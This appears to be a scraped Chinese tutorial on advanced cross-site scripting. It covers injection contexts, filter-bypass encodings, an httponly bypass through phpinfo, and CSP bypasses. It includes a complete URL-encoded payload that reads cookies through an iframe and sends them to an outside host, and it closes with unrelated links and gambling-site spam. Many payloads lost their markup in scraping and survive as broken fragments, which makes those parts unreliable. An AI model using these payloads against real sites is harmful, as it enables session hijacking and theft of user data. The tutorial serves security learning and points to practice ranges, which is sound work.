珂技系列之一篇就够了——XSS进阶

珂技系列之一篇就够了——XSS进阶

一、 xss可以做哪些事情?在没有限制的情况下,xss=html+JavaScript。凡是js+html能做的,xss都能做。弹窗吓唬人,也是最常用的测试手段

有时候不能弹窗,也可以变相用其他简单dom证明。

网页跳转,等同于任意url跳转

引入外部js,引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名。

盗取cookie,最常用手段,注意URL中+变成%2B

盗取其他信息,由于会访问一次xss平台服务器(攻击者服务器),所以可以顺便收集ip,user-agent,referer这些信息。

flash钓鱼,结合弹窗和url跳转进行钓鱼

用xss触发CSRF,论坛中可用来制作XSS蠕虫GET

POST

JSON/POST

二、 不同位置的XSS利用方式标签外

name=标签内

name=">

name=1" id=javascript:alert(1) autofocus onfocus=location=this.id xxhref中

name=javascript:alert(1)CRLF

name=%0d%0a%0d%0ajs中

name=

name=';alert(1);//

name=';alert(1);'

name='-alert(1)-'

name=';};alert(1);function a(){a='xml

alert(1);svg

href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />

三、 XSS绕过相关

img标签,隐藏未加载图标

无法用圆括号

http协议省略

前后闭合

">A位置可填充/,/123/,%09,%0A,%0C,%0D,%20B位置可填充%09,%0A,%0C,%0D,%20C位置可填充%0B,如果加双引号,则可以填充/**/,%09,%0A,%0C,%0D,%20D位置可填充%09,%0A,%0C,%0D,%20,//,>函数配合拼接

al

创建匿名函数

eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))

eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')

eval(atob('YWxlcnQoMSk='))

eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))

绕过

七、 phpinfo绕过http-onlyxss常用于打cookie,因此http-only防止cookie被js获取就成了防护xss的手段之一。setcookie第七个参数可以设置httponly

setcookie("name", "admin", NULL, NULL, NULL, NULL, TRUE);

echo($_GET['echo']);http://luoke.cn:81/test/1.php?echo=可以发现js无法读取cookie

此时,如果有个页面能将cookie反射出来的话,强迫用户访问这个页面,然后同域读取这个页面即可将cookie给传送走。phpinfo就可以用于探测http-only的cookie

原理为在有xss的页面,发起一个xhr请求,然后js读取返回页面中用正则匹配出HTTP_COOKIE的字段。

八、 csp绕过csp是规定引用外部来源的浏览器策略,包括js/img/css等。常见格式如下Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'default-src设定所有资源默认加载规则,self为仅允许同域,后面可以加域名白名单,none为包括同域在内所有资源都不行,*为允许所有资源加载,unsafe-inline为允许当前页面加载(如果没有这个当前页面也不允许直接执行js)。其规律表格如下

除了script-src 之外,还有img-src,object-src,frame-src标签等,其他比如'unsafe-eval'规则见https://www.cnblogs.com/heyuqing/p/6215761.html当然,对XSS来说,最重要的就是script-src绕过,我们面对的拦截规则一般如下。Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';1.php

setcookie("name", "admin");

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");

echo $_GET['echo'];可以以header方式返回,也可以写在前端的meta标签里。

常用加载外部js手段失败http://luoke.cn:81/test/1.php?echo=

当然,如果当前域允许非图片上传,可以上传一个内容为js的txt。http://luoke.cn:81/test/1.php?echo=不过还是那句话,加载外部js是手段不是目的,直接尝试直接在本地执行js带出cookie。http://luoke.cn:81/test/1.php?echo=

还是不行,其原因是这种带出cookie的本质是用document.createElement新建了一个img标签,以img的src请求拼接cookie。而我们规定了default-src 'self',使得所有资源都只能加载本地的,导致失败,同理此时发起xhr请求也会失败。如果没有配置default-src,而是单独的配置img-src,script-src,style-src,我们可以找出漏网之鱼比如冷门的video来绕过。Content-Security-Policy: script-src 'self' 'unsafe-inline';img-src 'self';style-src 'self'

http://luoke.cn:81/test/1.php?echo=

正确配置的前提下,可以用跳转来突破限制。Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';http://luoke.cn:81/test/1.php?echo=

如果同域下A页面正确配置了,B页面错误配置并且有XSS漏洞,可以在B页面用iframe标签操作A页面。test/1.php

setcookie("name", "admin");

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");test2/2.php

echo $_GET['echo'];http://luoke.cn:81/test2/2.php?echo=这样访问无cookie。

http://luoke.cn:81/test2/2.php?echo=这样可以弹出cookie

这样证明cookie只用于test/目录,且同域下的test2/目录可以通过iframe获取。然后突破A页面的csp传输走就行了。

http://luoke.cn:81/test2/2.php?echo=%20%3Cbody%3E%3Cscript%3Evar%20iframe%20=%20document.createElement(%27iframe%27);iframe.src=%22../test/1.php%22;document.body.appendChild(iframe);var%20img%20=%20document.createElement(%22img%22);setTimeout(()=%3Eimg.src=%22http://baidu.com/?msg=%22%2Bescape(iframe.contentWindow.document.cookie),2000);document.body.appendChild(img);%3C/script%3E%3C/body%3E

格式化为

其他方法见https://xz.aliyun.com/t/5084

九、 XSS靶场https://xss.tesla-space.com/https://alf.nu/alert1http://prompt.ml

← 手机头像图片 5、穿越火线抽火麒麟王者礼包需要多少钻石+钥匙? →

相关内容

男人跑马了是什么原因
365买球平台下载苹果

男人跑马了是什么原因

🕒 07-08 👁️ 6574
大唐抓鬼为何要脱鞋子?
365买球平台下载苹果

大唐抓鬼为何要脱鞋子?

🕒 07-04 👁️ 2787